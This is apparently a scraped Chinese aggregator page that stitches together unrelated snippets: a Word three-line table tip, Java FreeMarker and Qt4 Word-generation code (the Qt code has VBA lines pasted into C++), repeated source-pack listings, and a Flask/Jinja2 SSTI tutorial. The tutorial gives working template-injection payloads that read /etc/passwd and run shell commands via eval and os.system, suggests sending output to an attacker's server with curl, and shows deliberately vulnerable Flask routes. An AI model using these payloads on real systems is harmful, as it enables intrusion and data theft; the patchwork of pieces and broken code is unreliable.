-
html表格样式模板_【Word小技巧】巧用Word表格样式 制作一个三线表模板
2021-01-20 11:16:33今天给大家分享如何巧用Word表格样式,制作一个三线表模板。在论文写作过程中,很多期刊和毕业论文的表格都要求是三线表,这里就以三线表为例子,制作一个三线表的表格样式。这样就会省去我们手动调整表格边框及其...今天给大家分享如何巧用Word表格样式,制作一个三线表模板。在论文写作过程中,很多期刊和毕业论文的表格都要求是三线表,这里就以三线表为例子,制作一个三线表的表格样式。这样就会省去我们手动调整表格边框及其粗细的时间。
首先在Word中插入一个表格,然后在“表格工具-表格样式”中点击新建表格样式。
然后在打开的对话框中,名称一栏写“三线表”,“将格式应用于”选项选择“整个表格”,然后将表格的上框线和下框设置为1.5磅。
然后“将格式应用于”选项选择“标题行”,将标题行的下框线设置为0.5磅。
勾选“基于改模板的新文档”,这样打开别的word文档也可以使用这个三线表的表格样式。如果勾选了“仅限此文档”,那么这个三线表的表格样式,这能在当前打开的这个Word文档使用。
设置完成后,在表格样式中就会出现我们刚刚做好的三线表了。使用时,只需要选中表格,然后点击这个三线表样式,表格格式就会变成三线表了。
扫码关注更多精彩
点击此处进行留言
-
如何让java生成复杂的Word文档
2012-11-07 20:39:11大概思路以及步骤,本人在网上看了别人的例子,自己也照着修改了下 用在了实际的应用开发过程中,效果真的很不错 先用office2003或者2007编辑好word的样式,然后另存为xml,将xml翻译为FreeMarker模板,最后用...大概思路以及步骤,本人在网上看了别人的例子,自己也照着修改了下 用在了实际的应用开发过程中,效果真的很不错
先用office2003或者2007编辑好word的样式,然后另存为xml,将xml翻译为FreeMarker模板,最后用java来解析FreeMarker模板并输出Doc。经测试这样方式生成的word文档完全符合office标准,样式、内容控制非常便利,打印也不会变形,生成的文档和office中编辑文档完全一样
将编辑好的文档另存为XML
再用Firstobjectfree XML editor将xml中我们需要填数据的地方打上FreeMarker标记
最后生成的文档样式
package com.havenliu.document; import java.io.BufferedWriter; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.Writer; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import freemarker.template.Configuration; import freemarker.template.Template; import freemarker.template.TemplateException; public class DocumentHandler { private Configuration configuration = null; public DocumentHandler() { configuration = new Configuration(); configuration.setDefaultEncoding("utf-8"); } public void createDoc() { //要填入模本的数据文件 Map dataMap=new HashMap(); getData(dataMap); //设置模本装置方法和路径,FreeMarker支持多种模板装载方法。可以重servlet,classpath,数据库装载, //这里我们的模板是放在com.havenliu.document.template包下面 configuration.setClassForTemplateLoading(this.getClass(), "/com/havenliu/document/template"); Template t=null; try { //test.ftl为要装载的模板 t = configuration.getTemplate("test.ftl"); } catch (IOException e) { e.printStackTrace(); } //输出文档路径及名称 File outFile = new File("D:/temp/outFile.doc"); Writer out = null; try { out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outFile))); } catch (FileNotFoundException e1) { e1.printStackTrace(); } try { t.process(dataMap, out); } catch (TemplateException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } /** * 注意dataMap里存放的数据Key值要与模板中的参数相对应 * @param dataMap */ private void getData(Map dataMap) { dataMap.put("author", "张三"); dataMap.put("remark", "这是测试备注信息"); List _table1=new ArrayList(); Table1 t1=new Table1(); t1.setDate("2010-10-1"); t1.setText("制定10月开发计划内容。"); _table1.add(t1); Table1 t2=new Table1(); t2.setDate("2010-10-2"); t2.setText("开会讨论开发计划"); _table1.add(t2); dataMap.put("table1", _table1); List _table2=new ArrayList(); for(int i=0;i<5;i++) { Table2 _t2=new Table2(); _t2.setDetail("测试开发计划"+i); _t2.setPerson("张三——"+i); _t2.setBegindate("2010-10-1"); _t2.setFinishdate("2010-10-31"); _t2.setRemark("备注信息"); _table2.add(_t2); } dataMap.put("table2", _table2); } }
-
vue ueditor 生成word文档_Qt4.8.1生成word文档
2020-12-07 17:06:57其他思路:*利用写好的模板,向标签插入内容:这个例子思路很好,但是可能因为版本问题,没有调试通过,只能够打开word应用程序,不能生成文档。修改了两个绝对路径也不好使,希望后面有机会再调一调。*还试过在生成...功能:可以新建一份word文档,并且在文档中自动设置(一部分)格式排版。在Qt4.8.1版本下。
方案思路:这个示例完成了大部分功能,很有用;
其他思路:
*利用写好的模板,向标签插入内容:这个例子思路很好,但是可能因为版本问题,没有调试通过,只能够打开word应用程序,不能生成文档。修改了两个绝对路径也不好使,希望后面有机会再调一调。
*还试过在生成“空白(三栏)”(word内置构建基块)页眉的时候,录制宏,然后把宏转换成C++语言,但是构建基块的语言不起作用。
问题:COM、ActiveX、Windows API、VBA到C++的转换。
这个地址提供了office的VBA的参考,需要把用到的转为C++语言。
需要用到:QAxObject和QAxWidget类,调用COM组件,和Word连接。
注意:工程中要加入.lib库
代码:
Pro文档:
#------------------------------------------------- # # Project created by QtCreator 2020-11-27T10:48:51 # #------------------------------------------------- QT += core gui QT += qaxcontainer LIBS += C:QtSDKDesktopQt4.8.1msvc2008libQAxContainerd.lib LIBS += C:QtSDKDesktopQt4.8.1msvc2008libQAxServerd.lib TARGET = QWord TEMPLATE = app SOURCES += main.cpp QWord.cpp generatedoc.cpp HEADERS += QWord.h generatedoc.h FORMS +=
funcTest函数:
void QWord::funcTest() { QAxObject* viewPage = m_word->querySubObject("ActiveWindow"); viewPage->querySubObject("View")->querySubObject("SeekView")->querySubObject("WdSeekView","wdSeekCurrentPageHeader"); QAxObject* selection = m_word->querySubObject("Selection"); selection->querySubObject("HeaderFooter")->querySubObject("Range")->querySubObject("Text","text"); viewPage->querySubObject("View")->querySubObject("SeekView")->querySubObject("WdSeekView","wdSeekMainDocument"); QAxObject* view = m_word->querySubObject("View"); view->querySubObject("SeekView")->querySubObject("WdViewType","wdSeekCurrentPageHeader"); selection->dynamicCall("TypeText(const QString&)","test"); view->querySubObject("SeekView")->querySubObject("WdViewType","wdSeekMainDocument"); ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary) _ .PageNumbers(1).Alignment = wdAlignPageNumberCenter // QAxObject* section = m_document->querySubObject("Sections(1)"); // section->querySubObject("Footers")->querySubObject("PageNumbers(1)"); // ActiveWindow.View.SeekView = WdSeekView.wdSeekCurrentPageFooter; // this.Application.Selection.HeaderFooter.LinkToPrevious = false; // this.Application.Selection.HeaderFooter.Range.ParagraphFormat.Alignment = WdParagraphAlignment.wdAlignParagraphCenter; // ActiveWindow.ActivePane.Selection.InsertAfter(footer); // //跳出页眉页脚设置 // ActiveWindow.View.SeekView = WdSeekView.wdSeekMainDocument; // QAxObject* selection = m_word->querySubObject("Selection"); QAxObject* viewPage = m_word->querySubObject("ActiveWindow"); //页脚激活 QAxObject* selection = m_word->querySubObject("Selection"); viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekCurrentPageFooter"); // selection->dynamicCall("TypeText(const QString&)","text"); // m_word->querySubObject("Selection")->querySubObject("Footers")->querySubObject("Range")->dynamicCall("InsertAfter(QString&)","test"); QAxObject* section = m_document->querySubObject("Sections(1)"); section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Text","第 页"); section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphCenter"); // selection->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphCenter"); // section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("PageNumbers")->querySubObject("Size","14"); section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("PageNumbers")->dynamicCall("Add(int)",1); section->querySubObject("Footers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Font")->setProperty("Name",(QString)"宋体"); // selection->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphRight"); //页脚关闭 viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekMainDocument"); //页眉激活 viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekCurrentPageHeader"); // QAxWidget* range = section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range"); // selection->querySubObject("ParagraphFormat")->setProperty("Alignment","wdAlignParagraphJustify"); // section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Text","测试 测试报告 "); // section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->dynamicCall("Collapse(QVariant&)","wdCollapseEnd"); section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->dynamicCall("InsertDateTime(QVariant&, bool)","MM/dd/yyyy",false); // section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->querySubObject("Font")->setProperty("Name",(QString)"宋体"); section->querySubObject("Headers(wdHeaderFooterPrimary)")->querySubObject("Range")->dynamicCall("InsertBefore(QString&)","测试 测试报告 "); // QAxWidget* range = section->dynamicCall("SetRange(int, int)", 77,86); // QAxObject* selection = m_word->querySubObject("Selection"); // selection->dynamicCall("SetRange(int, int)", 77,86); // selection->querySubObject("Font")->setProperty("Name","Times New Roman"); // range->querySubObject("Font")->setProperty("Name",(QString)"Times New Roman"); // m_word->querySubObject("Selection")->querySubObject("Footers")->querySubObject("Range")->dynamicCall("InsertBefore(QString&)","test"); //页眉关闭 viewPage->querySubObject("View")->querySubObject("WdSeekView","wdSeekMainDocument"); }
funcTest函数用来设置三栏页眉和页脚页码,三栏页眉还没找到合适的方法。
还是需要完成后记录,之前写好的没上传,结果断电丢失了,虽然保存了,但新写的还是丢了。
其他参考内容:
C#的操作小结;
这也是一个例子,不过是Qt5的,没有再尝试,QWordDemo,有网盘链接;
InsertAfter。
202012041620
之前在main()函数里面实例化了一个QWord类的对象:word,然后调用word的成员函数顺序执行,这样的话main()函数里面的重复代码太多了,容易干扰。所以,新建了一个GenerateDoc类,它继承自QWord类,所以有QWord的所有成员函数,另外再加一个public成员函数:docAction(),在这个函数中,先初始化好一些标准,然后实例化一个QWord对象,并顺序执行成员函数,生成word文档。
GenerateDoc.h文件:
#ifndef GENERATEDOC_H #define GENERATEDOC_H #include "QWord.h" class GenerateDoc : public QWord { Q_OBJECT public: explicit GenerateDoc(QWord *parent = 0); ~GenerateDoc(); void docAction(); signals: public slots: }; #endif // GENERATEDOC_H
它使用public方式继承了QWord类,定义了构造函数和析构函数;暂时没有定义信号和槽函数。
GenerateDoc.cpp文件:
#include "generatedoc.h" #include <QtCore> GenerateDoc::GenerateDoc(QWord *parent) : QWord(parent) { } GenerateDoc::~GenerateDoc() { } //QWord的一系列动作都合在docAction函数中,顺序执行,无返回值,有参数列表 void GenerateDoc::docAction() //现在考虑参数 { QTextCodec *codec = QTextCodec::codecForName("GB2312"); //标准的定义 QTextCodec::setCodecForLocale(codec); QTextCodec::setCodecForCStrings(codec); QTextCodec::setCodecForTr(codec); QWord word; word.createNewWord(); word.setPageOrientation(0); //页面纵向 word.setWordPageView(3); //页面视图 word.setFontSize(15); //字体大小 word.setParagraphAlignment(0); //下面文字置中 word.setFontBold(true); //字体加粗 word.setFontName((QString)"宋体"); word.insertText(QString("测试报告"));//插入文字 word.setFontBold(false); //字体加粗 word.insertMoveDown(); word.setParagraphAlignment(1); //下面文字置左 word.setFontSize(12); word.insertMoveDown(); word.insertMoveDown(); word.insertText(QString(""));//插入文字 word.insertMoveDown(); word.funcTest(); word.close(); }
这样的话,main()函数中的语句会很少,很清楚。
main().cpp
#include "qword.h" #include "generatedoc.h" #include <QtGui/QApplication> #include <QtCore> #include <QMessageBox> int main(int argc, char *argv[]) { QApplication a(argc, argv); GenerateDoc geneTest; geneTest.docAction(); // return a.exec();这句话加上的话,进程不能自动结束 }
-
flask 之 ssti 模板注入学习
2020-05-21 11:50:33Flask是一个使用 Python 编写的轻量级 Web 应用框架。在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。 路由 先看一段代码 from flask import flask @app.route('/index/') def hello_...先入个门
个人感觉学SSTI注入之前,最好先学习一下python的沙盒绕过,两个利用的地方比较类似。
Jimja2
Jinja2是默认的仿Django模板的一个模板引擎,由Flask的作者开发。网上搜的语法2333,方便自己回顾
模板
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。 {% ... %}:装载一个控制语句,if、for等语句。 {# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
变量
在模板中添加变量,可以使用 set 语句。
{% set name='xx' %}
with
语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效{% with gg = 42 %} {{ gg }} {% endwith %}
if语句
{% if ken.sick %} Ken is sick. {% elif ken.dead %} You killed Ken! You bastard!!! {% else %} Kenny looks okay --- so far {% endif %}
for语句
{% for user in users %} {{ user.username|e }} {% endfor %}
遍历
{% for key, value in <strong>my_dict.iteritems()</strong> %} <dt>{{ key|e }}</dt> <dd>{{ value|e }}</dd> {% endfor %}
flask基础
Flask是一个使用 Python 编写的轻量级 Web 应用框架。在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。
route装饰器路由
@app.route('/')
使用 route() 装饰器告诉 Flask 什么样的URL能触发我们的函数。route() 装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route('/') def test()" return 123
访问127.0.0.1:5000/则会输出123。再如:
from flask import flask @app.route('/index/') def hello_word(): return 'hello word'
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。
此外还可以设置动态网址:@app.route("/hello/<username>") def hello_user(username): return "user:%s"%username
根据url里的输入,动态辨别身份,此时便可以看到如下页面:
模板渲染方法(重点)
flask的渲染方法有render_template和render_template_string两种,你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量(需要我们渲染参数)。
**render_template()**是用来渲染一个指定的文件的。使用如下:
return render_template(‘index.html’)
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。使用方法如下
html = '<h1>This is index page</h1>' return render_template_string(html)
简单的模版渲染示例:
from flask import render_template @app.route('/hello/') @app.route('/hello/<name>') def hello(name=None): return render_template('hello.html', name=name)
我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看
首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户的需求传入动态变量。
├── app.py ├── static │ └── style.css └── templates └── index.html
我们写一个index.html文件到templates文件夹中:<html> <head> <title>{{title}} - 小猪佩奇</title> </head> <body> <h1>Hello, {{user.name}}!</h1> </body> </html>
里面有两个参数需要我们渲染,user.name,以及title
我们在app.py文件里进行渲染。
@app.route('/') @app.route('/index') # 我们访问/或者/index都会跳转 def index(): user = {'name': '小猪佩奇'} # 传入一个字典数组 return render_template("index.html",title='Home',user=user)
以上这次渲染我们没有使用用户可控,所以是安全的,如果我们交给用户可控并且不过滤参数就有可能造成SSTI模板注入漏洞。模板
flask是使用Jinja2来作为渲染引擎的。看例子:
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
访问
127.0.0.1:5000/index/
的时候,flask就会渲染出index.html的页面。模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
例子
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.')
/templates/index.html
<h1>{{content}}</h1>
这个时候页面仍然输出This is index page。
{{}}在Jinja2中作为变量包裹标识符。模板引擎
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现 界面 与 数据 分离,业务代码 与 逻辑代码 的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然 模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的 视觉表现(HTML代码)这项工作的一种 实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处是展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来 解析渲染成html的人们可视化的代码 而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染:
<html> <div>{$what}</div> </html>
我们想要呈现在每个用户面前其自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为
<html> <div>张三</div> </html>
通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回
hi,张三
。这个时候张三可能就是通过你的身份信息而渲染成 html 返回到页面。模板注入
漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成了模板可控。本文着重对flask模板注入进行浅析。
不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?
xss利用
存在漏洞的代码
@app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
尝试构造code为一串js代码。
将代码改为如下@app.route('/test/') def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code)
继续尝试
可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的 变量值 进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。模板注入并不局限于xss,它还可以进行其他攻击。
SSTI文件读取/命令执行
基础知识
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。只需要记两种特殊符号:
{{ }} 和 {% %}
变量相关的用{{}},逻辑相关的用{%%}。
这里还是用上文中存在漏洞的代码
@app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
构造参数{{2*4}},结果如下
可以看到表达式被执行了,说明ssti漏洞可以利用在flask中也有一些全局变量。
文件读取看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。
找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 // 在python中,每个类都有一个bases属性,列出其基类 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用
1 、获取字符串的类对象
>>> ''.__class__ <type 'str'>
2 、寻找基类。(在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。)
>>> "".__class__.__bases__ (<class 'object'>,)
而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro:
>>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>)
可以看到同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。
3 、寻找可用引用(返回列表,即object类下的方法)
>>> ''.__class__.__mro__[2].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] 可以看到有一个`<type 'file'>`,索引为40。
这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。
接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。<type ‘file’>,我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第41个类,0也对应一个类,所以这里写[40]。
4 、利用file类:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
放到模板里
可以看到读取到了文件。上面链接的文章里面使用file类去进行对文件的读写操作,payload:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
,但是file方法在py3中已经不支持,只要找到可以执行代码的函数或者其他读文件的函数都可以,在vulhub上找到的另外一个适合py3的,利用了eval函数去实现RCE的功能,因为执行语句去实现的,所以得用%括住。方法不止一种,找到对的继承链就可以。{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
成功读取根目录下的文件
命令执行
继续看命令执行payload的构造,思路和构造文件读取的一样。寻找包含os模块的脚本
#!/usr/bin/env python # encoding: utf-8 for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1
输出
- 71 <class 'site._Printer'> - - - - 76 <class 'site.Quitter'>
payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') 执行的结果无法直接看到
构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye
实战方面
此时我们环境已经搭建好了,可以进行更深一步的讲解了,以上好像我们讲解使用了php 代码为啥题目是flask呢,没关系我们现在进入重点!!!–》》flask/jinja2模版注入
Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。这里我们提前给出漏洞代码。访问 http://127.0.0.1:5000/test 即可
from flask import Flask from flask import render_template from flask import request from flask import render_template_string app = Flask(__name__) @app.route('/test',methods=['GET', 'POST']) def test(): template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> ''' %(request.url) return render_template_string(template) if __name__ == '__main__': app.debug = True app.run()
flask漏洞成因:
为什么说我们上面的代码会有漏洞呢,其实对于代码功底比较深的师傅,是不会存在ssti漏洞的,被一些偷懒的师傅简化了代码,所以造成了ssti。上面的代码我们本可以写成类似如下的形式。<html> <head> <title>{{title}} - 小猪佩奇</title> </head> <body> <h1>Hello, {{user.name}}!</h1> </body> </html>
里面有两个参数需要我们渲染,user.name,以及title
我们在app.py文件里进行渲染。
@app.route('/') @app.route('/index') # 我们访问/或者/index都会跳转 def index(): return render_template("index.html", title='Home',user=request.args.get("key"))
也就是说,两种代码的形式是:一种当字符串来渲染并且使用了%(request.url),另一种规范使用index.html 渲染文件。我们漏洞代码使用了render_template_string函数,而如果我们使用render_template函数,将变量传入进去,现在即使我们写成了request,我们可以在url里写自己想要的恶意代码{{}}你将会发现如下:
即使username可控了,但是代码已经并不生效,并不是你错了,是代码对了。这里问题出在,良好的代码规范,使得模板其实已经固定了,已经被render_template渲染了。这是因为模板引擎一般都默认对渲染的 变量值 进行编码转义,这样就不会存在漏洞了。在这段代码中用户所控的是user变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。你的模板渲染其实已经不可控了。而漏洞代码的问题出在这里:def test(): template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> ''' %(request.url)
**注意%(request.url),程序员有时因为省事并不会专门写一个html文件,而是直接当字符串来渲染。并且request.url是可控的,这也正是flask在CTF中经常使用的手段,报错404,返回当前错误url,通常CTF的flask如果是ssti,那么八九不离十就是基于这段代码,多的就是一些过滤和一些奇奇怪怪的方法函数。**现在你已经明白了flask的ssti成因以及代码了。接下来我们来说说实战方面。
对于一些师傅可能更偏向于实战,但是不幸的是实战中几乎不会出现ssti模板注入,或者说很少,大多出现在python 的ctf中。但是我们还是理性分析下。
每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,不同的引擎不同的解析。所以我们在挖掘之前有必要对网站的web框架进行检查,否则很多时候{{}}并没有用,导致错误判断。
接下来附张图,实战中要测试重点是看一些url的可控,比如url输入什么就输出什么。 前期收集好网站的开发语言以及框架,防止错误利用{{}}而导致错误判断。如下图较全的反映了ssti的一些模板渲染引擎及利用。
参考:https://www.freebuf.com/column/187845.html -
Word模板拥有丰富的样式,poi-tl在生成的文档中会完美保留模板中的样式,还可以为标签设置样式,标签的样式会被应用到替换后的文本上,因此你可以专注于模板设计。 poi-tl是一种 "logic-less" 模板引擎,没有复杂的...
-
vc++ 应用源码包_1
2012-09-15 14:22:12C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细,相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件,云端控制... -
vc++ 应用源码包_2
2012-09-15 14:27:40C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细,相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件,云端控制... -
vc++ 应用源码包_6
2012-09-15 14:59:46C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细,相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件,云端控制... -
vc++ 应用源码包_5
2012-09-15 14:45:16C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细,相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件,云端控制... -
vc++ 应用源码包_4
2012-09-15 14:38:35C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细,相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件,云端控制... -
vc++ 应用源码包_3
2012-09-15 14:33:15C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细,相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件,云端控制... -
各种各样的PyQt测试和例子 https://pyqt.site 论坛是专门针对PyQt5学习和提升开设的网站,分享大家平时学习中记录的笔记和例子,以及对遇到的问题进行收集整理。 如果您觉得这里的东西对您有帮助,别忘了帮忙点...
-
Java实现简单的格式化信函生成器
2011-07-12 19:11:00数据库+模板的简单应用例子。 难度: 初级。 童鞋们都应该见过各种各样的请柬咯, 请柬上面通常是一个模板,然后填上被邀请人及相关信息,在 Word 里面称之为 “邮件合并”特性。 今天,我们就来实现一个简单... -
硕士生,博士生论文排版技巧方法
2009-05-03 16:37:22Word的目录提取是基于大纲级别和段落样式的,在Normal模板中已经提供了内置的标题样式,命名为“标题1”、“标题2”,…,“标题9”,分别对应大纲级别的1-9。我们也可以不使用内置的标题样式而采用自定义样式,但... -
asp.net知识库
